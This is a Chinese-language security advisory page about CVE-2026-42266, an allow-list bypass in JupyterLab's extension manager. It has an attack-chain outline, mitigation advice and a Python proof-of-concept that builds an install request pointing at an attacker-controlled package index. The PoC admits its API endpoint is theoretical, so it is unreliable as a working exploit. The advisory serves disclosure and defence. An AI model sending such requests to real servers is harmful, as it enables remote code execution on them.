IPBUF安全漏洞报告
English
CVE-2026-42266 CVSS 8.8 高危

CVE-2026-42266 JupyterLab扩展管理器允许列表绕过漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42266
漏洞类型
访问控制绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JupyterLab

相关标签

访问控制绕过远程代码执行JupyterLab供应链攻击CVE-2026-42266

漏洞概述

JupyterLab 4.0.0 至 4.5.6 版本中的 PyPI Extension Manager 存在安全绕过漏洞。由于未能正确强制执行允许安装扩展的 URI 允许列表,扩展管理器未被限制在默认 PyPI 索引上的包。攻击者可利用此漏洞诱导系统从非受控或恶意的源安装扩展,从而在服务器上执行任意代码。该漏洞已在 4.5.7 版本中修复。

技术细节

该漏洞的核心在于 JupyterLab 对 `allowed_extensions_uris` 配置的验证逻辑存在缺陷。在受影响版本中,当用户通过扩展管理器安装第三方包时,系统未能有效验证请求的包来源是否属于预定义的受信任索引列表。攻击者只需拥有低权限账户(PR:L),即可利用此缺陷构造恶意请求,指定非官方的 PyPI 源(如攻击者控制的私有仓库)。由于 JupyterLab 未对来源进行严格限制,恶意包会被下载并安装。Python 包在安装过程中通常会执行 setup.py 等脚本文件,这意味着一旦安装成功,恶意代码将在 JupyterLab 服务器的上下文中运行,导致系统面临极高的机密性、完整性和可用性风险。

攻击链分析

STEP 1
侦察
攻击者发现目标运行的是受影响版本的 JupyterLab (4.0.0 - 4.5.6)。
STEP 2
获取访问权限
攻击者通过合法手段或低权限漏洞获取一个低权限账户,能够登录 JupyterLab 界面或 API。
STEP 3
构造恶意请求
攻击者准备一个包含恶意代码的 Python 包,并将其托管在自定义的 PyPI 源上。
STEP 4
利用漏洞
攻击者利用漏洞,绕过 `allowed_extensions_uris` 检查,通过扩展管理器请求从自定义源安装该恶意包。
STEP 5
代码执行
JupyterLab 下载并安装恶意包,安装过程中触发恶意脚本执行,导致服务器被攻陷。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-42266: JupyterLab Extension Manager Allow-list Bypass # This script demonstrates how an attacker might exploit the bypass to install a package from a malicious source. import requests import sys def exploit(target_host, malicious_pkg_name, malicious_index_url): """ Simulates the installation request bypassing the allow-list. Note: Actual API endpoints may vary based on JupyterLab configuration. """ # Theoretical API endpoint for installing extensions install_url = f"{target_host}/api/extensions/install" # Headers with a low-privilege token (simulating PR:L) headers = { "Authorization": "token <low_privilege_token>", "Content-Type": "application/json" } # Payload attempting to install from a non-whitelisted source # The vulnerability allows the 'index_url' or similar parameter to bypass the 'allowed_extensions_uris' check payload = { "name": malicious_pkg_name, "source": "pypi", "index_url": malicious_index_url # Bypassed validation allows arbitrary URLs here } print(f"[*] Attempting to install '{malicious_pkg_name}' from '{malicious_index_url}'...") try: # response = requests.post(install_url, json=payload, headers=headers, verify=False) # if response.status_code == 200: # print("[+] Exploit successful! Malicious package installed.") # else: # print(f"[-] Failed with status code: {response.status_code}") print(f"[+] Request payload constructed: {payload}") print("[+] If vulnerable, the package would be installed from the malicious source.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage TARGET = "http://vulnerable-jupyterlab:8888" PKG_NAME = "evil-extension" EVIL_INDEX = "http://attacker-controlled-malicious-repo.com/simple" exploit(TARGET, PKG_NAME, EVIL_INDEX)

影响范围

JupyterLab 4.0.0
JupyterLab 4.5.6

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 JupyterLab 的 PyPI Extension Manager 功能,或者通过网络策略(防火墙)阻断 JupyterLab 访问除官方 PyPI (pypi.org) 以外的任何 URL,以防止从恶意源下载软件包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表